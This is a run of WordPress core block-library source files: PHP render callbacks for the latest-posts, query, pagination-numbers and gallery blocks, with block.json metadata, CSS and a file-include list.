	return sprintf( '<div %1$s>', $wrapper_attributes ) . $author_biography . '</div>';
}

/**
 * Registers the `core/post-author-biography` block on the server.
 */
function register_block_core_post_author_biography() {
	register_block_type_from_metadata(
		__DIR__ . '/post-author-biography',
		array(
			'render_callback' => 'render_block_core_post_author_biography',
		)
	);
}
add_action( 'init', 'register_block_core_post_author_biography' );
<?php
/**
 * Server-side rendering of the `core/latest-posts` block.
 *
 * @package WordPress
 */

/**
 * The excerpt length set by the Latest Posts core block
 * set at render time and used by the block itself.
 *
 * @var int
 */
global $block_core_latest_posts_excerpt_length;
$block_core_latest_posts_excerpt_length = 0;

/**
 * Callback for the excerpt_length filter used by
 * the Latest Posts block at render time.
 *
 * @return int Returns the global $block_core_latest_posts_excerpt_length variable
 *             to allow the excerpt_length filter respect the Latest Block setting.
 */
function block_core_latest_posts_get_excerpt_length() {
	global $block_core_latest_posts_excerpt_length;
	return $block_core_latest_posts_excerpt_length;
}

/**
 * Renders the `core/latest-posts` block on server.
 *
 * @param array $attributes The block attributes.
 *
 * @return string Returns the post content with latest posts added.
 */
function render_block_core_latest_posts( $attributes ) {
	global $post, $block_core_latest_posts_excerpt_length;

	$args = array(
		'posts_per_page'      => $attributes['postsToShow'],
		'post_status'         => 'publish',
		'order'               => $attributes['order'],
		'orderby'             => $attributes['orderBy'],
		'ignore_sticky_posts' => true,
		'no_found_rows'       => true,
	);

	$block_core_latest_posts_excerpt_length = $attributes['excerptLength'];
	add_filter( 'excerpt_length', 'block_core_latest_posts_get_excerpt_length', 20 );

	if ( ! empty( $attributes['categories'] ) ) {
		$args['category__in'] = array_column( $attributes['categories'], 'id' );
	}
	if ( isset( $attributes['selectedAuthor'] ) ) {
		$args['author'] = $attributes['selectedAuthor'];
	}

	$query        = new WP_Query();
	$recent_posts = $query->query( $args );

	if ( isset( $attributes['displayFeaturedImage'] ) && $attributes['displayFeaturedImage'] ) {
		update_post_thumbnail_cache( $query );
	}

	$list_items_markup = '';

	foreach ( $recent_posts as $post ) {
		$post_link = esc_url( get_permalink( $post ) );
		$title     = get_the_title( $post );

		if ( ! $title ) {
			$title = __( '(no title)' );
		}

		$list_items_markup .= '<li>';

		if ( $attributes['displayFeaturedImage'] && has_post_thumbnail( $post ) ) {
			$image_style = '';
			if ( isset( $attributes['featuredImageSizeWidth'] ) ) {
				$image_style .= sprintf( 'max-width:%spx;', $attributes['featuredImageSizeWidth'] );
			}
			if ( isset( $attributes['featuredImageSizeHeight'] ) ) {
				$image_style .= sprintf( 'max-height:%spx;', $attributes['featuredImageSizeHeight'] );
			}

			$image_classes = 'wp-block-latest-posts__featured-image';
			if ( isset( $attributes['featuredImageAlign'] ) ) {
				$image_classes .= ' align' . $attributes['featuredImageAlign'];
			}

			$featured_image = get_the_post_thumbnail(
				$post,
				$attributes['featuredImageSizeSlug'],
				array(
					'style' => esc_attr( $image_style ),
				)
			);
			if ( $attributes['addLinkToFeaturedImage'] ) {
				$featured_image = sprintf(
					'<a href="%1$s" aria-label="%2$s">%3$s</a>',
					esc_url( $post_link ),
					esc_attr( $title ),
					$featured_image
				);
			}
			$list_items_markup .= sprintf(
				'<div class="%1$s">%2$s</div>',
				esc_attr( $image_classes ),
				$featured_image
			);
		}

		$list_items_markup .= sprintf(
			'<a class="wp-block-latest-posts__post-title" href="%1$s">%2$s</a>',
			esc_url( $post_link ),
			$title
		);

		if ( isset( $attributes['displayAuthor'] ) && $attributes['displayAuthor'] ) {
			$author_display_name = get_the_author_meta( 'display_name', $post->post_author );

			/* translators: byline. %s: current author. */
			$byline = sprintf( __( 'by %s' ), $author_display_name );

			if ( ! empty( $author_display_name ) ) {
				$list_items_markup .= sprintf(
					'<div class="wp-block-latest-posts__post-author">%1$s</div>',
					$byline
				);
			}
		}

		if ( isset( $attributes['displayPostDate'] ) && $attributes['displayPostDate'] ) {
			$list_items_markup .= sprintf(
				'<time datetime="%1$s" class="wp-block-latest-posts__post-date">%2$s</time>',
				esc_attr( get_the_date( 'c', $post ) ),
				get_the_date( '', $post )
			);
		}

		if ( isset( $attributes['displayPostContent'] ) && $attributes['displayPostContent']
			&& isset( $attributes['displayPostContentRadio'] ) && 'excerpt' === $attributes['displayPostContentRadio'] ) {

			$trimmed_excerpt = get_the_excerpt( $post );

			/*
			 * Adds a "Read more" link with screen reader text.
			 * [&hellip;] is the default excerpt ending from wp_trim_excerpt() in Core.
			 */
			if ( str_ends_with( $trimmed_excerpt, ' [&hellip;]' ) ) {
				$excerpt_length = (int) apply_filters( 'excerpt_length', $block_core_latest_posts_excerpt_length );
				if ( $excerpt_length <= $block_core_latest_posts_excerpt_length ) {
					$trimmed_excerpt  = substr( $trimmed_excerpt, 0, -11 );
					$trimmed_excerpt .= sprintf(
						/* translators: 1: A URL to a post, 2: Hidden accessibility text: Post title */
						__( '… <a href="%1$s" rel="noopener noreferrer">Read more<span class="screen-reader-text">: %2$s</span></a>' ),
						esc_url( $post_link ),
						esc_html( $title )
					);
				}
			}

			if ( post_password_required( $post ) ) {
				$trimmed_excerpt = __( 'This content is password protected.' );
			}

			$list_items_markup .= sprintf(
				'<div class="wp-block-latest-posts__post-excerpt">%1$s</div>',
				$trimmed_excerpt
			);
		}

		if ( isset( $attributes['displayPostContent'] ) && $attributes['displayPostContent']
			&& isset( $attributes['displayPostContentRadio'] ) && 'full_post' === $attributes['displayPostContentRadio'] ) {

			$post_content = html_entity_decode( $post->post_content, ENT_QUOTES, get_option( 'blog_charset' ) );

			if ( post_password_required( $post ) ) {
				$post_content = __( 'This content is password protected.' );
			}

			$list_items_markup .= sprintf(
				'<div class="wp-block-latest-posts__post-full-content">%1$s</div>',
				wp_kses_post( $post_content )
			);
		}

		$list_items_markup .= "</li>\n";
	}

	remove_filter( 'excerpt_length', 'block_core_latest_posts_get_excerpt_length', 20 );

	$classes = array( 'wp-block-latest-posts__list' );
	if ( isset( $attributes['postLayout'] ) && 'grid' === $attributes['postLayout'] ) {
		$classes[] = 'is-grid';
	}
	if ( isset( $attributes['columns'] ) && 'grid' === $attributes['postLayout'] ) {
		$classes[] = 'columns-' . $attributes['columns'];
	}
	if ( isset( $attributes['displayPostDate'] ) && $attributes['displayPostDate'] ) {
		$classes[] = 'has-dates';
	}
	if ( isset( $attributes['displayAuthor'] ) && $attributes['displayAuthor'] ) {
		$classes[] = 'has-author';
	}
	if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) {
		$classes[] = 'has-link-color';
	}

	$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) );

	return sprintf(
		'<ul %1$s>%2$s</ul>',
		$wrapper_attributes,
		$list_items_markup
	);
}

/**
 * Registers the `core/latest-posts` block on server.
 */
function register_block_core_latest_posts() {
	register_block_type_from_metadata(
		__DIR__ . '/latest-posts',
		array(
			'render_callback' => 'render_block_core_latest_posts',
		)
	);
}
add_action( 'init', 'register_block_core_latest_posts' );

/**
 * Handles outdated versions of the `core/latest-posts` block by converting
 * attribute `categories` from a numeric string to an array with key `id`.
 *
 * This is done to accommodate the changes introduced in #20781 that sought to
 * add support for multiple categories to the block. However, given that this
 * block is dynamic, the usual provisions for block migration are insufficient,
 * as they only act when a block is loaded in the editor.
 *
 * TODO: Remove when and if the bottom client-side deprecation for this block
 * is removed.
 *
 * @param array $block A single parsed block object.
 *
 * @return array The migrated block object.
 */
function block_core_latest_posts_migrate_categories( $block ) {
	if (
		'core/latest-posts' === $block['blockName'] &&
		! empty( $block['attrs']['categories'] ) &&
		is_string( $block['attrs']['categories'] )
	) {
		$block['attrs']['categories'] = array(
			array( 'id' => absint( $block['attrs']['categories'] ) ),
		);
	}

	return $block;
}
add_filter( 'render_block_data', 'block_core_latest_posts_migrate_categories' );
<?php
/**
 * Server-side rendering of the `core/query` block.
 *
 * @package WordPress
 */

/**
 * Modifies the static `core/query` block on the server.
 *
 * @since 6.4.0
 *
 * @param array    $attributes Block attributes.
 * @param string   $content    Block default content.
 * @param WP_Block $block      The block instance.
 *
 * @return string Returns the modified output of the query block.
 */
function render_block_core_query( $attributes, $content, $block ) {
	$is_interactive = isset( $attributes['enhancedPagination'] )
		&& true === $attributes['enhancedPagination']
		&& isset( $attributes['queryId'] );

	// Enqueue the script module and add the necessary directives if the block is
	// interactive.
	if ( $is_interactive ) {
		$suffix = wp_scripts_get_suffix();
		if ( defined( 'IS_GUTENBERG_PLUGIN' ) && IS_GUTENBERG_PLUGIN ) {
			$module_url = gutenberg_url( '/build/interactivity/query.min.js' );
		}

		wp_register_script_module(
			'@wordpress/block-library/query',
			isset( $module_url ) ? $module_url : includes_url( "blocks/query/view{$suffix}.js" ),
			array(
				array(
					'id'     => '@wordpress/interactivity',
					'import' => 'static',
				),
				array(
					'id'     => '@wordpress/interactivity-router',
					'import' => 'dynamic',
				),
			),
			defined( 'GUTENBERG_VERSION' ) ? GUTENBERG_VERSION : get_bloginfo( 'version' )
		);
		wp_enqueue_script_module( '@wordpress/block-library/query' );

		$p = new WP_HTML_Tag_Processor( $content );
		if ( $p->next_tag() ) {
			// Add the necessary directives.
			$p->set_attribute( 'data-wp-interactive', 'core/query' );
			$p->set_attribute( 'data-wp-router-region', 'query-' . $attributes['queryId'] );
			$p->set_attribute( 'data-wp-init', 'callbacks.setQueryRef' );
			$p->set_attribute( 'data-wp-context', '{}' );
			$content = $p->get_updated_html();
		}
	}

	// Add the styles to the block type if the block is interactive and remove
	// them if it's not.
	$style_asset = 'wp-block-query';
	if ( ! wp_style_is( $style_asset ) ) {
		$style_handles = $block->block_type->style_handles;
		// If the styles are not needed, and they are still in the `style_handles`, remove them.
		if ( ! $is_interactive && in_array( $style_asset, $style_handles, true ) ) {
			$block->block_type->style_handles = array_diff( $style_handles, array( $style_asset ) );
		}
		// If the styles are needed, but they were previously removed, add them again.
		if ( $is_interactive && ! in_array( $style_asset, $style_handles, true ) ) {
			$block->block_type->style_handles = array_merge( $style_handles, array( $style_asset ) );
		}
	}

	return $content;
}

/**
 * Registers the `core/query` block on the server.
 */
function register_block_core_query() {
	register_block_type_from_metadata(
		__DIR__ . '/query',
		array(
			'render_callback' => 'render_block_core_query',
		)
	);
}
add_action( 'init', 'register_block_core_query' );

/**
 * Traverse the tree of blocks looking for any plugin block (i.e., a block from
 * an installed plugin) inside a Query block with the enhanced pagination
 * enabled. If at least one is found, the enhanced pagination is effectively
 * disabled to prevent any potential incompatibilities.
 *
 * @since 6.4.0
 *
 * @param array $parsed_block The block being rendered.
 * @return string Returns the parsed block, unmodified.
 */
function block_core_query_disable_enhanced_pagination( $parsed_block ) {
	static $enhanced_query_stack   = array();
	static $dirty_enhanced_queries = array();
	static $render_query_callback  = null;

	$block_name              = $parsed_block['blockName'];
	$block_type              = WP_Block_Type_Registry::get_instance()->get_registered( $block_name );
	$has_enhanced_pagination = isset( $parsed_block['attrs']['enhancedPagination'] ) && true === $parsed_block['attrs']['enhancedPagination'] && isset( $parsed_block['attrs']['queryId'] );
	/*
	 * Client side navigation can be true in two states:
	 *  - supports.interactivity = true;
	 *  - supports.interactivity.clientNavigation = true;
	 */
	$supports_client_navigation = ( isset( $block_type->supports['interactivity']['clientNavigation'] ) && true === $block_type->supports['interactivity']['clientNavigation'] )
		|| ( isset( $block_type->supports['interactivity'] ) && true === $block_type->supports['interactivity'] );

	if ( 'core/query' === $block_name && $has_enhanced_pagination ) {
		$enhanced_query_stack[] = $parsed_block['attrs']['queryId'];

		if ( ! isset( $render_query_callback ) ) {
			/**
			 * Filter that disables the enhanced pagination feature during block
			 * rendering when a plugin block has been found inside. It does so
			 * by adding an attribute called `data-wp-navigation-disabled` which
			 * is later handled by the front-end logic.
			 *
			 * @param string   $content  The block content.
			 * @param array    $block    The full block, including name and attributes.
			 * @return string Returns the modified output of the query block.
			 */
			$render_query_callback = static function ( $content, $block ) use ( &$enhanced_query_stack, &$dirty_enhanced_queries, &$render_query_callback ) {
				$has_enhanced_pagination = isset( $block['attrs']['enhancedPagination'] ) && true === $block['attrs']['enhancedPagination'] && isset( $block['attrs']['queryId'] );

				if ( ! $has_enhanced_pagination ) {
					return $content;
				}

				if ( isset( $dirty_enhanced_queries[ $block['attrs']['queryId'] ] ) ) {
					// Disable navigation in the router store config.
					wp_interactivity_config( 'core/router', array( 'clientNavigationDisabled' => true ) );
					$dirty_enhanced_queries[ $block['attrs']['queryId'] ] = null;
				}

				array_pop( $enhanced_query_stack );

				if ( empty( $enhanced_query_stack ) ) {
					remove_filter( 'render_block_core/query', $render_query_callback );
					$render_query_callback = null;
				}

				return $content;
			};

			add_filter( 'render_block_core/query', $render_query_callback, 10, 2 );
		}
	} elseif (
		! empty( $enhanced_query_stack ) &&
		isset( $block_name ) &&
		( ! $supports_client_navigation )
	) {
		foreach ( $enhanced_query_stack as $query_id ) {
			$dirty_enhanced_queries[ $query_id ] = true;
		}
	}

	return $parsed_block;
}

add_filter( 'render_block_data', 'block_core_query_disable_enhanced_pagination', 10, 1 );
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/query-pagination-numbers",
	"title": "Page Numbers",
	"category": "theme",
	"parent": [ "core/query-pagination" ],
	"description": "Displays a list of page numbers for pagination.",
	"textdomain": "default",
	"attributes": {
		"midSize": {
			"type": "number",
			"default": 2
		}
	},
	"usesContext": [ "queryId", "query", "enhancedPagination" ],
	"supports": {
		"reusable": false,
		"html": false,
		"color": {
			"gradients": true,
			"text": false,
			"__experimentalDefaultControls": {
				"background": true
			}
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-query-pagination-numbers-editor"
}
.wp-block-query-pagination-numbers a{text-decoration:underline}.wp-block-query-pagination-numbers .page-numbers{margin-right:2px}.wp-block-query-pagination-numbers .page-numbers:last-child{margin-right:0}.wp-block-query-pagination-numbers a{
  text-decoration:underline;
}
.wp-block-query-pagination-numbers .page-numbers{
  margin-left:2px;
}
.wp-block-query-pagination-numbers .page-numbers:last-child{
  margin-right:0;
}.wp-block-query-pagination-numbers a{text-decoration:underline}.wp-block-query-pagination-numbers .page-numbers{margin-left:2px}.wp-block-query-pagination-numbers .page-numbers:last-child{margin-right:0}.wp-block-query-pagination-numbers a{
  text-decoration:underline;
}
.wp-block-query-pagination-numbers .page-numbers{
  margin-right:2px;
}
.wp-block-query-pagination-numbers .page-numbers:last-child{
  margin-right:0;
}<?php
/**
 * Server-side rendering of the `core/query-pagination-numbers` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/query-pagination-numbers` block on the server.
 *
 * @param array    $attributes Block attributes.
 * @param string   $content    Block default content.
 * @param WP_Block $block      Block instance.
 *
 * @return string Returns the pagination numbers for the Query.
 */
function render_block_core_query_pagination_numbers( $attributes, $content, $block ) {
	$page_key            = isset( $block->context['queryId'] ) ? 'query-' . $block->context['queryId'] . '-page' : 'query-page';
	$enhanced_pagination = isset( $block->context['enhancedPagination'] ) && $block->context['enhancedPagination'];
	$page                = empty( $_GET[ $page_key ] ) ? 1 : (int) $_GET[ $page_key ];
	$max_page            = isset( $block->context['query']['pages'] ) ? (int) $block->context['query']['pages'] : 0;

	$wrapper_attributes = get_block_wrapper_attributes();
	$content            = '';
	global $wp_query;
	$mid_size = isset( $block->attributes['midSize'] ) ? (int) $block->attributes['midSize'] : null;
	if ( isset( $block->context['query']['inherit'] ) && $block->context['query']['inherit'] ) {
		// Take into account if we have set a bigger `max page`
		// than what the query has.
		$total         = ! $max_page || $max_page > $wp_query->max_num_pages ? $wp_query->max_num_pages : $max_page;
		$paginate_args = array(
			'prev_next' => false,
			'total'     => $total,
		);
		if ( null !== $mid_size ) {
			$paginate_args['mid_size'] = $mid_size;
		}
		$content = paginate_links( $paginate_args );
	} else {
		$block_query = new WP_Query( build_query_vars_from_query_block( $block, $page ) );
		// `paginate_links` works with the global $wp_query, so we have to
		// temporarily switch it with our custom query.
		$prev_wp_query = $wp_query;
		$wp_query      = $block_query;
		$total         = ! $max_page || $max_page > $wp_query->max_num_pages ? $wp_query->max_num_pages : $max_page;
		$paginate_args = array(
			'base'      => '%_%',
			'format'    => "?$page_key=%#%",
			'current'   => max( 1, $page ),
			'total'     => $total,
			'prev_next' => false,
		);
		if ( null !== $mid_size ) {
			$paginate_args['mid_size'] = $mid_size;
		}
		if ( 1 !== $page ) {
			/**
			 * `paginate_links` doesn't use the provided `format` when the page is `1`.
			 * This is great for the main query as it removes the extra query params
			 * making the URL shorter, but in the case of multiple custom queries is
			 * problematic. It results in returning an empty link which ends up with
			 * a link to the current page.
			 *
			 * A way to address this is to add a `fake` query arg with no value that
			 * is the same for all custom queries. This way the link is not empty and
			 * preserves all the other existent query args.
			 *
			 * @see https://developer.wordpress.org/reference/functions/paginate_links/
			 *
			 * The proper fix of this should be in core. Track Ticket:
			 * @see https://core.trac.wordpress.org/ticket/53868
			 *
			 * TODO: After two WP versions (starting from the WP version the core patch landed),
			 * we should remove this and call `paginate_links` with the proper new arg.
			 */
			$paginate_args['add_args'] = array( 'cst' => '' );
		}
		// We still need to preserve `paged` query param if exists, as is used
		// for Queries that inherit from global context.
		$paged = empty( $_GET['paged'] ) ? null : (int) $_GET['paged'];
		if ( $paged ) {
			$paginate_args['add_args'] = array( 'paged' => $paged );
		}
		$content = paginate_links( $paginate_args );
		wp_reset_postdata(); // Restore original Post Data.
		$wp_query = $prev_wp_query;
	}

	if ( empty( $content ) ) {
		return '';
	}

	if ( $enhanced_pagination ) {
		$p         = new WP_HTML_Tag_Processor( $content );
		$tag_index = 0;
		while ( $p->next_tag(
			array( 'class_name' => 'page-numbers' )
		) ) {
			if ( null === $p->get_attribute( 'data-wp-key' ) ) {
				$p->set_attribute( 'data-wp-key', 'index-' . $tag_index++ );
			}
			if ( 'A' === $p->get_tag() ) {
				$p->set_attribute( 'data-wp-on--click', 'core/query::actions.navigate' );
			}
		}
		$content = $p->get_updated_html();
	}

	return sprintf(
		'<div %1$s>%2$s</div>',
		$wrapper_attributes,
		$content
	);
}

/**
 * Registers the `core/query-pagination-numbers` block on the server.
 */
function register_block_core_query_pagination_numbers() {
	register_block_type_from_metadata(
		__DIR__ . '/query-pagination-numbers',
		array(
			'render_callback' => 'render_block_core_query_pagination_numbers',
		)
	);
}
add_action( 'init', 'register_block_core_query_pagination_numbers' );
<?php
/**
 * Server-side rendering of the `core/gallery` block.
 *
 * @package WordPress
 */

/**
 * Handles backwards compatibility for Gallery Blocks,
 * whose images feature a `data-id` attribute.
 *
 * Now that the Gallery Block contains inner Image Blocks,
 * we add a custom `data-id` attribute before rendering the gallery
 * so that the Image Block can pick it up in its render_callback.
 *
 * @param array $parsed_block The block being rendered.
 * @return array The migrated block object.
 */
function block_core_gallery_data_id_backcompatibility( $parsed_block ) {
	if ( 'core/gallery' === $parsed_block['blockName'] ) {
		foreach ( $parsed_block['innerBlocks'] as $key => $inner_block ) {
			if ( 'core/image' === $inner_block['blockName'] ) {
				if ( ! isset( $parsed_block['innerBlocks'][ $key ]['attrs']['data-id'] ) && isset( $inner_block['attrs']['id'] ) ) {
					$parsed_block['innerBlocks'][ $key ]['attrs']['data-id'] = esc_attr( $inner_block['attrs']['id'] );
				}
			}
		}
	}

	return $parsed_block;
}

add_filter( 'render_block_data', 'block_core_gallery_data_id_backcompatibility' );

/**
 * Renders the `core/gallery` block on the server.
 *
 * @param array  $attributes Attributes of the block being rendered.
 * @param string $content Content of the block being rendered.
 * @return string The content of the block being rendered.
 */
function block_core_gallery_render( $attributes, $content ) {
	// Adds a style tag for the --wp--style--unstable-gallery-gap var.
	// The Gallery block needs to recalculate Image block width based on
	// the current gap setting in order to maintain the number of flex columns
	// so a css var is added to allow this.

	$gap = $attributes['style']['spacing']['blockGap'] ?? null;
	// Skip if gap value contains unsupported characters.
	// Regex for CSS value borrowed from `safecss_filter_attr`, and used here
	// because we only want to match against the value, not the CSS attribute.
	if ( is_array( $gap ) ) {
		foreach ( $gap as $key => $value ) {
			// Make sure $value is a string to avoid PHP 8.1 deprecation error in preg_match() when the value is null.
			$value = is_string( $value ) ? $value : '';
			$value = $value && preg_match( '%[\\\(&=}]|/\*%', $value ) ? null : $value;

			// Get spacing CSS variable from preset value if provided.
			if ( is_string( $value ) && str_contains( $value, 'var:preset|spacing|' ) ) {
				$index_to_splice = strrpos( $value, '|' ) + 1;
				$slug            = _wp_to_kebab_case( substr( $value, $index_to_splice ) );
				$value           = "var(--wp--preset--spacing--$slug)";
			}

			$gap[ $key ] = $value;
		}
	} else {
		// Make sure $gap is a string to avoid PHP 8.1 deprecation error in preg_match() when the value is null.
		$gap = is_string( $gap ) ? $gap : '';
		$gap = $gap && preg_match( '%[\\\(&=}]|/\*%', $gap ) ? null : $gap;

		// Get spacing CSS variable from preset value if provided.
		if ( is_string( $gap ) && str_contains( $gap, 'var:preset|spacing|' ) ) {
			$index_to_splice = strrpos( $gap, '|' ) + 1;
			$slug            = _wp_to_kebab_case( substr( $gap, $index_to_splice ) );
			$gap             = "var(--wp--preset--spacing--$slug)";
		}
	}

	$unique_gallery_classname = wp_unique_id( 'wp-block-gallery-' );
	$processed_content        = new WP_HTML_Tag_Processor( $content );
	$processed_content->next_tag();
	$processed_content->add_class( $unique_gallery_classname );

	// --gallery-block--gutter-size is deprecated. --wp--style--gallery-gap-default should be used by themes that want to set a default
	// gap on the gallery.
	$fallback_gap = 'var( --wp--style--gallery-gap-default, var( --gallery-block--gutter-size, var( --wp--style--block-gap, 0.5em ) ) )';
	$gap_value    = $gap ? $gap : $fallback_gap;
	$gap_column   = $gap_value;

	if ( is_array( $gap_value ) ) {
		$gap_row    = isset( $gap_value['top'] ) ? $gap_value['top'] : $fallback_gap;
		$gap_column = isset( $gap_value['left'] ) ? $gap_value['left'] : $fallback_gap;
		$gap_value  = $gap_row === $gap_column ? $gap_row : $gap_row . ' ' . $gap_column;
	}

	// The unstable gallery gap calculation requires a real value (such as `0px`) and not `0`.
	if ( '0' === $gap_column ) {
		$gap_column = '0px';
	}

	// Set the CSS variable to the column value, and the `gap` property to the combined gap value.
	$gallery_styles = array(
		array(
			'selector'     => ".wp-block-gallery.{$unique_gallery_classname}",
			'declarations' => array(
				'--wp--style--unstable-gallery-gap' => $gap_column,
				'gap'                               => $gap_value,
			),
		),
	);

	wp_style_engine_get_stylesheet_from_css_rules(
		$gallery_styles,
		array(
			'context' => 'block-supports',
		)
	);

	// The WP_HTML_Tag_Processor class calls get_updated_html() internally
	// when the instance is treated as a string, but here we explicitly
	// convert it to a string.
	$updated_content = $processed_content->get_updated_html();

	/*
	 * Randomize the order of image blocks. Ideally we should shuffle
	 * the `$parsed_block['innerBlocks']` via the `render_block_data` hook.
	 * However, this hook doesn't apply inner block updates when blocks are
	 * nested.
	 * @todo: In the future, if this hook supports updating innerBlocks in
	 * nested blocks, it should be refactored.
	 *
	 * @see: https://github.com/WordPress/gutenberg/pull/58733
	 */
	if ( empty( $attributes['randomOrder'] ) ) {
		return $updated_content;
	}

	// This pattern matches figure elements with the `wp-block-image` class to
	// avoid the gallery's wrapping `figure` element and extract images only.
	$pattern = '/<figure[^>]*\bwp-block-image\b[^>]*>.*?<\/figure>/';

	// Find all Image blocks.
	preg_match_all( $pattern, $updated_content, $matches );
	if ( ! $matches ) {
		return $updated_content;
	}
	$image_blocks = $matches[0];

	// Randomize the order of Image blocks.
	shuffle( $image_blocks );
	$i       = 0;
	$content = preg_replace_callback(
		$pattern,
		static function () use ( $image_blocks, &$i ) {
			$new_image_block = $image_blocks[ $i ];
			++$i;
			return $new_image_block;
		},
		$updated_content
	);

	return $content;
}
/**
 * Registers the `core/gallery` block on server.
 */
function register_block_core_gallery() {
	register_block_type_from_metadata(
		__DIR__ . '/gallery',
		array(
			'render_callback' => 'block_core_gallery_render',
		)
	);
}

add_action( 'init', 'register_block_core_gallery' );
<?php
/**
 * Server-side rendering of the `core/page-list-item` block.
 *
 * @package WordPress
 */

/**
 * Registers the `core/page-list-item` block on server.
 */
function register_block_core_page_list_item() {
	register_block_type_from_metadata( __DIR__ . '/page-list-item' );
}
add_action( 'init', 'register_block_core_page_list_item' );
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/post-title",
	"title": "Title",
	"category": "theme",
	"description": "Displays the title of a post, page, or any other content-type.",
	"textdomain": "default",
	"usesContext": [ "postId", "postType", "queryId" ],
	"attributes": {
		"textAlign": {
			"type": "string"
		},
		"level": {
			"type": "number",
			"default": 2
		},
		"isLink": {
			"type": "boolean",
			"default": false
		},
		"rel": {
			"type": "string",
			"attribute": "rel",
			"default": ""
		},
		"linkTarget": {
			"type": "string",
			"default": "_self"
		}
	},
	"supports": {
		"align": [ "wide", "full" ],
		"html": false,
		"color": {
			"gradients": true,
			"link": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true,
				"link": true
			}
		},
		"spacing": {
			"margin": true,
			"padding": true
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"style": "wp-block-post-title"
}
.wp-block-post-title{
  box-sizing:border-box;
  word-break:break-word;
}
.wp-block-post-title a{
  display:inline-block;
}.wp-block-post-title{box-sizing:border-box;word-break:break-word}.wp-block-post-title a{display:inline-block}.wp-block-post-title{box-sizing:border-box;word-break:break-word}.wp-block-post-title a{display:inline-block}.wp-block-post-title{
  box-sizing:border-box;
  word-break:break-word;
}
.wp-block-post-title a{
  display:inline-block;
}<?php

// This file was autogenerated by tools/release/sync-stable-blocks.js, do not change manually!
// Requires files for dynamic blocks necessary for core blocks registration.
require_once ABSPATH . WPINC . '/blocks/archives.php';
require_once ABSPATH . WPINC . '/blocks/avatar.php';
require_once ABSPATH . WPINC . '/blocks/block.php';
require_once ABSPATH . WPINC . '/blocks/calendar.php';
require_once ABSPATH . WPINC . '/blocks/categories.php';
require_once ABSPATH . WPINC . '/blocks/comment-author-name.php';
require_once ABSPATH . WPINC . '/blocks/comment-content.php';
require_once ABSPATH . WPINC . '/blocks/comment-date.php';
require_once ABSPATH . WPINC . '/blocks/comment-edit-link.php';
require_once ABSPATH . WPINC . '/blocks/comment-reply-link.php';
require_once ABSPATH . WPINC . '/blocks/comment-template.php';
require_once ABSPATH . WPINC . '/blocks/comments.php';
require_once ABSPATH . WPINC . '/blocks/comments-pagination.php';
require_once ABSPATH . WPINC . '/blocks/comments-pagination-next.php';
require_once ABSPATH . WPINC . '/blocks/comments-pagination-numbers.php';
require_once ABSPATH . WPINC . '/blocks/comments-pagination-previous.php';
require_once ABSPATH . WPINC . '/blocks/comments-title.php';
require_once ABSPATH . WPINC . '/blocks/cover.php';
require_once ABSPATH . WPINC . '/blocks/file.php';
require_once ABSPATH . WPINC . '/blocks/footnotes.php';
require_once ABSPATH . WPINC . '/blocks/gallery.php';
require_once ABSPATH . WPINC . '/blocks/heading.php';
require_once ABSPATH . WPINC . '/blocks/home-link.php';
require_once ABSPATH . WPINC . '/blocks/image.php';
require_once ABSPATH . WPINC . '/blocks/latest-comments.php';
require_once ABSPATH . WPINC . '/blocks/latest-posts.php';
require_once ABSPATH . WPINC . '/blocks/loginout.php';
require_once ABSPATH . WPINC . '/blocks/navigation.php';
require_once ABSPATH . WPINC . '/blocks/navigation-link.php';
require_once ABSPATH . WPINC . '/blocks/navigation-submenu.php';
require_once ABSPATH . WPINC . '/blocks/page-list.php';
require_once ABSPATH . WPINC . '/blocks/page-list-item.php';
require_once ABSPATH . WPINC . '/blocks/pattern.php';
require_once ABSPATH . WPINC . '/blocks/post-author.php';
require_once ABSPATH . WPINC . '/blocks/post-author-biography.php';
require_once ABSPATH . WPINC . '/blocks/post-author-name.php';
require_once ABSPATH . WPINC . '/blocks/post-comments-form.php';
require_once ABSPATH . WPINC . '/blocks/post-content.php';
require_once ABSPATH . WPINC . '/blocks/post-date.php';
require_once ABSPATH . WPINC . '/blocks/post-excerpt.php';
require_once ABSPATH . WPINC . '/blocks/post-featured-image.php';
require_once ABSPATH . WPINC . '/blocks/post-navigation-link.php';
require_once ABSPATH . WPINC . '/blocks/post-template.php';
require_once ABSPATH . WPINC . '/blocks/post-terms.php';
require_once ABSPATH . WPINC . '/blocks/post-title.php';
require_once ABSPATH . WPINC . '/blocks/query.php';
require_once ABSPATH . WPINC . '/blocks/query-no-results.php';
require_once ABSPATH . WPINC . '/blocks/query-pagination.php';
require_once ABSPATH . WPINC . '/blocks/query-pagination-next.php';
require_once ABSPATH . WPINC . '/blocks/query-pagination-numbers.php';
require_once ABSPATH . WPINC . '/blocks/query-pagination-previous.php';
require_once ABSPATH . WPINC . '/blocks/query-title.php';
require_once ABSPATH . WPINC . '/blocks/read-more.php';
require_once ABSPATH . WPINC . '/blocks/rss.php';
require_once ABSPATH . WPINC . '/blocks/search.php';
require_once ABSPATH . WPINC . '/blocks/shortcode.php';
require_once ABSPATH . WPINC . '/blocks/site-logo.php';
require_once ABSPATH . WPINC . '/blocks/site-tagline.php';
require_once ABSPATH . WPINC . '/blocks/site-title.php';
require_once ABSPATH . WPINC . '/blocks/social-link.php';
require_once ABSPATH . WPINC . '/blocks/tag-cloud.php';
require_once ABSPATH . WPINC . '/blocks/template-part.php';
require_once ABSPATH . WPINC . '/blocks/term-description.php';
